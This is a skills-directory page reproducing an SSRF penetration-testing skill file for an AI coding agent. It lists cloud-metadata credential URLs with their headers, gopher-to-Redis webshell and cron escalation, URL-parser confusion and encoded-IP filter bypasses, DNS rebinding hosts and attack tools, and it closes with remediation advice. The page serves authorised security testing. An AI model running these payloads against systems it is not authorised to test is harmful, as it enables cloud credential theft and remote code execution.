Back to skills
SKILL.md
Ssrf
BSecurityServer-Side Request Forgery — app fetches an attacker-influenced URL. Covers cloud metadata (AWS IMDSv1/v2, GCP, Azure, Oracle, DO, Alibaba), filter/parser-confusion bypass, non-HTTP schemes (gopher/dict/file), DNS rebinding, and blind OAST confirmation. Tier 1. Payloads: payloads/ssrf.md. Use for URL/webhook/fetch/import/PDF-render/image-proxy/SSO-metadata features.
- 16 stars
- 0 votes
- 0 copies
- 3 views
- Added November 17, 2026
Works with
Security analysis
75/100- Accesses sensitive system or user directories
npx -y skills add AnandJogawade/Zazy-Pentest-Plugin-for-Claude --skill ssrf --agent claude-codeAre you the author of Ssrf?
Add the live security badge to your README. It updates with every re-scan.
[](https://www.skillsdirectory.com/skills/anandjogawade-ssrf)---
name: ssrf
description: "Server-Side Request Forgery — app fetches an attacker-influenced URL. Covers cloud metadata (AWS IMDSv1/v2, GCP, Azure, Oracle, DO, Alibaba), filter/parser-confusion bypass, non-HTTP schemes (gopher/dict/file), DNS rebinding, and blind OAST confirmation. Tier 1. Payloads: payloads/ssrf.md. Use for URL/webhook/fetch/import/PDF-render/image-proxy/SSO-metadata features."
---
# Server-Side Request Forgery (SSRF)
The server makes an HTTP(S) or URL-scheme request you influence. Goal: reach internal services and cloud metadata, then pivot to creds/RCE.
## Trigger phrases
`ssrf, server side request forgery, blind ssrf, url fetch, webhook, cloud metadata, imds, gopher`
## Method
1. **Find fetchers:** any param/field/header carrying a URL, host, path, or filename the server retrieves — webhooks, `url=`/`image=`/`feed=`/`callback=`, PDF/HTML/screenshot renderers, SSO/SAML metadata import, XML/SVG parsers (chain `xxe`). Enumerate ALL injection points (${CLAUDE_PLUGIN_ROOT}/payloads/INJECTION-POINTS.md) including headers (`Referer`, `X-Forwarded-*`) and JSON keys.
2. **Confirm (safe, OAST-first):** point at a unique Collaborator/interactsh host (`http://<id>.oast`), one per param so you know which fired. A DNS+HTTP callback proves full SSRF; DNS-only often = partial/blind (${CLAUDE_PLUGIN_ROOT}/payloads/ssrf.md).
3. **Internal sweep:** `http://127.0.0.1/`, loopback variants, common ports (Redis 6379, ES 9200, Docker 2375, Consul 8500, etcd 2379) — compare response size/time to infer reachability.
4. **Cloud metadata (primary impact):**
- AWS IMDSv1: `http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>` → temp creds; also `/latest/user-data`.
- GCP: `http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token` **+ header `Metadata-Flavor: Google`**.
- Azure IMDS: `http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/` **+ header `Metadata: true`**.
- Oracle `http://169.254.169.254/opc/v2/instance/` (`Authorization: Bearer Oracle`); DigitalOcean `/metadata/v1/`; Alibaba `http://100.100.100.200/latest/meta-data/`.
5. **Escalate scheme → RCE** where full-request SSRF (headers/body controllable): see below.
## Modern / rare techniques
- [NEW] **IMDSv2** needs a token: a plain-GET SSRF usually can't reach it. Flag only full-request SSRF (gopher / header-controllable) as IMDSv2-reachable: `PUT /latest/api/token` with `X-aws-ec2-metadata-token-ttl-seconds: 21600`, then GET with `X-aws-ec2-metadata-token: <tok>`.
- [NEW] **gopher:// = the RCE primitive** — smuggle raw TCP to Redis (write cron/webshell/`SLAVEOF`), FastCGI/PHP-FPM, Memcached, Postgres, SMTP. Build with `Gopherus`.
- [NEW] **URL-parser confusion** (Orange Tsai): `http://127.1.1.1:80\@169.254.169.254:80/`, `http://1.1.1.1 &@2.2.2.2# @3.3.3.3/`, `http:127.0.0.1/` — libs disagree on host.
- [NEW] **DNS rebinding** for TOCTOU allowlists: `make-1.2.3.4-rebind-169.254-169.254-rr.1u.ms`, or `127.0.0.1.nip.io`.
- [NEW] **Open-redirect bypass** of host allowlists: aim SSRF at an allowed host that 307/308-redirects to metadata (`r3dir`); 307/308 preserve method+body (matters for gopher/IMDSv2).
- `jar:http://127.0.0.1!/` (blind Java); `netdoc:///etc/passwd` when `\n`/`\r` break `file://`.
## Bypass / evasion
${CLAUDE_PLUGIN_ROOT}/payloads/waf-bypass.md + ssrf.md: encoded IPs (decimal `2852039166`, hex `0xa9fea9fe`, octal), IPv6 `[::ffff:127.0.0.1]`, `127.1`/`0`/`127.0.1.3`, single/double URL-encode, enclosed-alphanumeric unicode hosts, PHP `filter_var` bypass `http://test???test.com`.
## Escalation / chaining
IMDS creds → `cloud-pentest` (AWS/Azure/GCP post-ex). gopher→Redis/FastCGI → RCE → `command-injection`. XML/SVG sink → `xxe`. Blind-SSRF escalation catalog: `assetnote/blind-ssrf-chains` (WebLogic, Consul, Solr, Jenkins, Docker API). Low-impact SSRF + SVG-with-JS → stored XSS.
## Backend & tooling
Preferred Kali path (native / WSL+Kali / Kali-SSH / Kali-MCP / HexStrike / Metasploit-MCP): `SSRFmap`, `Gopherus`, `See-SURF`, `ipfuscator`, interactsh. Headless browser for client-triggered fetchers. If a Burp MCP is present, route traffic through Burp (Collaborator for OAST) and send manual PoCs to Repeater. Windows-local last resort. See `zazy-orchestrator`.
## Verification (background, before reporting)
Re-confirm independently (second payload/tool/vantage or OAST callback) and reproduce before marking CONFIRMED. For blind cases use OAST (Collaborator/interactsh) before concluding negative. Report true positives only.
## Evidence
Request/response showing the fetched internal/metadata content (redact live creds, prove access), the OAST callback log, param that fired, affected asset, impact. Remediation: allowlist egress by exact host, deny link-local/RFC1918, enforce IMDSv2 + hop-limit 1, resolve-then-pin DNS, block non-HTTP schemes and redirects.
Attribution
Related skills
View all in security →Comments
Loading comments…
Newsletter
Get the weekly list of safe new skills, and the ones we pulled.